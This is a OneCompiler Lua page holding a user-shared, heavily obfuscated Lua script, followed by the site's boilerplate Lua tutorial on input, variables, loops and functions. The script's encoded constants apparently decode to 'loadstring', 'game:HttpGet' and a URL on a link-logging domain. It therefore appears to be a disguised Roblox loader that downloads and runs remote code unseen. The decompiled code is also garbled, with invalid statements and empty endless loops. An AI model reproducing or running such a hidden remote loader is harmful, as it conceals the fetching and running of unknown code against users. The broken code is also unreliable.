do
	local v0 = tonumber;
	local v1 = string.byte;
	local v2 = string.char;
	local v3 = string.sub;
	local v4 = string.gsub;
	local v5 = string.rep;
	local v6 = table.concat;
	local v7 = table.insert;
	local v8 = getfenv or function()
		return _ENV;
	end;
	local v9 = setmetatable;
	local v10 = pcall;
	local v11 = select;
	local v12 = unpack or table.unpack;
	local v13 = tonumber;
	local function v14(v15, v16)
		local 1 = 1;
		local v18;
		v15 = v4(v3(v15, 5), "..", function(v29)
			if (v1(v29, 2) == 79) then
				local 0 = 0;
				while true do
					do
						v18 = v0(v3(v29, 1, 1));
						return "";
					end
				end
			else
				local 0 = 0;
				local v65;
				while true do
					do
						v65 = v2(v0(v29, 16));
						if v18 then
							local v78 = v5(v65, v18);
							v18 = nil;
							return v78;
						else
							return v65;
						end
						break;
					end
				end
			end
		end);
		local function v19(v30, v31, v32)
			if v32 then
				local 0 = 0;
				local v67;
				while true do
					do
						v67 = (v30 / (2 ^ (v31 - 1))) % (2 ^ (((v32 - 1) - (v31 - 1)) + 1));
						return v67 - (v67 % 1);
					end
				end
			else
				local 0 = 0;
				local v69;
				while true do
					do
						v69 = 2 ^ (v31 - 1);
						return (((v30 % (v69 + v69)) >= v69) and 1) or 0;
					end
				end
			end
		end
		local function v20()
			local 0 = 0;
			local v38;
			while true do
				do
					v38 = v1(v15, v17, v17);
					v17 = v17 + 1;
					1 = 1;
				end
			end
		end
		local function v21()
			local v39, v40 = v1(v15, v17, v17 + 2);
			v17 = v17 + 2;
			return (v40 * 256) + v39;
		end
		local function v22()
			local v41, v42, v43, v44 = v1(v15, v17, v17 + 3);
			v17 = v17 + 4;
			return (v44 * 16777216) + (v43 * 65536) + (v42 * 256) + v41;
		end
		local function v23()
			local v45 = v22();
			local v46 = v22();
			return (("-2" * v19(v46, 32)) + 1 + 0) * (2 ^ (v19(v46, 21, 31) - 1023)) * ((((v19(v46, 1, 20) * (2 ^ 32)) + v45) / (2 ^ 52)) + 1);
		end
		local function v24(v33)
			local v47;
			if not v33 then
				v33 = v22();
				if (v33 == 0) then
					return "";
				end
			end
			v47 = v3(v15, v17, (v17 + v33) - 1);
			v17 = v17 + v33;
			local {} = {};
			for v61 = 1, #v47 do
				({})[v61] = v2(v1(v3(v47, v61, v61)));
			end
			return v6({});
		end
		local v25 = v22;
		local function v26(...)
			return {...}, v11("#", ...);
		end
		local function v27()
			local 0 = 0;
			local v50;
			local v51;
			local v52;
			local v53;
			local v54;
			local v55;
			local v56;
			while true do
				do
					0 = 0;
					v51 = nil;
					1 = 1;
				end
			end
		end
		local function v28(v34, v35, v36)
			local 0 = 0;
			local v58;
			local v59;
			local v60;
			while true do
				do
					v58 = v34[1];
					v59 = v34[2];
					1 = 1;
				end
			end
		end
		return v28(v27(), {}, v16)();
	end
	v14("LOL!083O00028O00026O00F03F03403O004142434445464748494A4B4C4D4E4F505152535455565758595A6162636465666768696A6B6C6D6E6F707172737475767778797A303132333435363738392B2F03443O005973654856684B6652627077526D71436E78525049785A65774B4E736B6145755663767366496A6F412O564170487073635A647A494C6944574463435458705062774774030A3O006C6F6164737472696E6703043O0067616D6503073O00482O7470476574035F3O004772554E464955504F76736F4E7177436B416152734D48656F4F43686D696B646A754C63706B56615A66797A516D644279526E4B5444716148523063484D364C79397361573572633278765A32646C6369356A623230765A58467662476430002A3O00121F3O00014O0017000100023O0026243O0007000100010004133O0007000100121F000100014O0017000200023O00121F3O00023O0026243O0002000100020004133O00020001000E0300010018000100010004133O0018000100121F000300013O000E0300020010000100030004133O0010000100121F000100023O0004133O001800010026240003000C000100010004133O000C000100121F000200033O00060700043O000100012O00053O00023O001214000400043O00121F000300023O0004133O000C0001000E0300020009000100010004133O0009000100120F000300053O00120F000400063O00201200040004000700120F000600043O00121F000700084O001E0006000200022O0020000700014O000E000400074O002300033O00022O001C0003000100010004133O002800010004133O000900010004133O002800010004133O000200012O00158O001D3O00013O00013O000C3O00028O0003013O006D03063O00737472696E672O033O00737562025O00804B4003043O0067737562034O00026O00F03F03023O005B5E03023O003D5D03013O002E03163O002564256425643F25643F25643F25643F25643F25643F01283O00121F000100013O000E0300010010000100010004133O0010000100120F000200033O00200B0002000200042O000500035O00121F000400013O00121F000500054O0022000200050002001214000200023O00201200023O000600120F000400023O00121F000500074O00220002000500022O00053O00023O00121F000100083O00262400010001000100080004133O0001000100120F000200033O00200B0002000200062O000500035O00121F000400094O001B00055O00121F0006000A4O000200040004000600121F000500074O00220002000500022O00053O00023O00201200023O000600121F0004000B3O00060700053O000100012O001B8O002200020005000200201200020002000600121F0004000C3O00020A000500014O001A000200054O000100025O0004133O000100012O001D3O00013O00023O000A3O00028O00026O00F03F03013O003D034O0003043O0066696E64026O001840026O00F0BF027O004003013O003103013O003001433O00121F000100014O0017000200043O00262400010007000100010004133O0007000100121F000200014O0017000300033O00121F000100023O00262400010002000100020004133O000200012O0017000400043O00121F000500013O000E030001000B000100050004133O000B0001000E0300010023000100020004133O0023000100121F000600013O0026240006001E000100010004133O001E00010026243O0016000100030004133O0016000100121F000700044O0006000700023O00121F000700044O001B00085O0020120008000800052O0005000A6O00220008000A000200202O0004000800022O0005000300073O00121F000600023O00262400060010000100020004133O0010000100121F000200023O0004133O002300010004133O001000010026240002000A000100020004133O000A000100121F000600013O00262400060026000100010004133O0026000100121F000700063O00121F000800023O00121F000900073O002O040007003B00012O0005000B00033O001011000C0008000A2O0016000C0004000C00202O000D000A0002001011000D0008000D2O0016000D0004000D2O000D000C000C000D000E19000100380001000C0004133O0038000100121F000C00093O000621000C0039000100010004133O0039000100121F000C000A4O00020003000B000C0004090007002C00012O0006000300023O0004133O002600010004133O000A00010004133O000B00010004133O000A00010004133O004200010004133O000200012O001D3O00017O00433O00213O00223O00263O00263O00273O00283O00293O002B3O002B3O002C3O002E3O00303O00303O00313O00313O00323O00343O00343O00353O00353O00363O00363O00383O00383O00383O00383O00383O00383O00383O00393O003B3O003B3O003C3O003D3O003E3O00413O00413O00423O00443O00443O00453O00453O00453O00453O00463O00463O00463O00463O00463O00463O00463O00463O00463O00463O00463O00463O00463O00463O00453O00483O00493O004C3O004D3O004E3O00503O00513O00533O00093O00026O002040034O00028O00026O00F03F2O033O0073756203013O0031027O004003063O00737472696E6703043O0063686172011D4O000C00015O00260800010005000100010004133O0005000100121F000100024O0006000100023O00121F000100033O00121F000200043O00121F000300013O00121F000400043O002O0400020017000100201200063O00052O0005000800054O0005000900054O002200060009000200262400060014000100060004133O0014000100101800060001000500101100060007000600062100060015000100010004133O0015000100121F000600034O00250001000100060004090002000A000100120F000200083O00200B0002000200092O0005000300014O001A000200034O000100026O001D3O00017O001D3O00543O00543O00543O00553O00553O00573O00583O00583O00583O00583O00593O00593O00593O00593O00593O00593O00593O00593O00593O00593O00593O00593O00583O005B3O005B3O005B3O005B3O005B3O005C3O00283O00173O00193O00193O001A3O001A3O001A3O001A3O001A3O001A3O001A3O001B3O001B3O001B3O001B3O001B3O001C3O001E3O001E3O001F3O001F3O001F3O001F3O001F3O001F3O001F3O001F3O001F3O001F3O00203O00203O00533O00533O00203O00533O00533O005C3O00533O005C3O005D3O005F3O002A3O00023O00033O00063O00063O00073O00083O00093O000B3O000B3O000D3O000D3O000E3O00103O00103O00113O00123O00143O00143O00153O005F3O005F3O00163O00603O00613O00643O00643O00653O00653O00653O00653O00653O00653O00653O00653O00653O00653O00663O00673O00693O006A3O006B3O006C3O00", v8());
end 
by

Lua online compiler

Write, Run & Share Lua code online using OneCompiler's Lua online compiler for free. It's one of the robust, feature-rich online compilers for Lua language, running the latest Lua version 5.4. Getting started with the OneCompiler's Lua editor is easy and fast. The editor shows sample boilerplate code when you choose language as Lua and start coding.

Taking inputs (stdin)

OneCompiler's Lua online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample Lua program which takes name as input and prints hello message with your name.

name = io.read("*a")
print ("Hello ", name)

About Lua

Lua is a light weight embeddable scripting language which is built on top of C. It is used in almost all kind of applications like games, web applications, mobile applications, image processing etc. It's a very powerful, fast, easy to learn, open-source scripting language.

Syntax help

Variables

  • By default all the variables declared are global variables
  • If the variables are explicitly mentioned as local then they are local variables.
  • Lua is a dynamically typed language and hence only the values will have types not the variables.

Examples

-- global variables
a = 10

-- local variables

local x = 30
Value TypeDescription
numberRepresents numbers
stringRepresents text
nilDifferentiates values whether it has data or not
booleanValue can be either true or false
functionRepresents a sub-routine
userdataRepresents arbitary C data
threadRepresents independent threads of execution.
tableCan hold any value except nil

Loops

1. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while(condition)
do
--code
end

2. Repeat-Until:

Repeat-Until is also used to iterate a set of statements based on a condition. It is very similar to Do-While, it is mostly used when you need to execute the statements atleast once.

repeat
   --code
until( condition )

3. For:

For loop is used to iterate a set of statements based on a condition.

for init,max/min value, increment
do
   --code
end

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increase re-usuability and modularity.

optional_function_scope function function_name( argument1, argument2, argument3........, argumentn)
--code
return params with comma seperated
end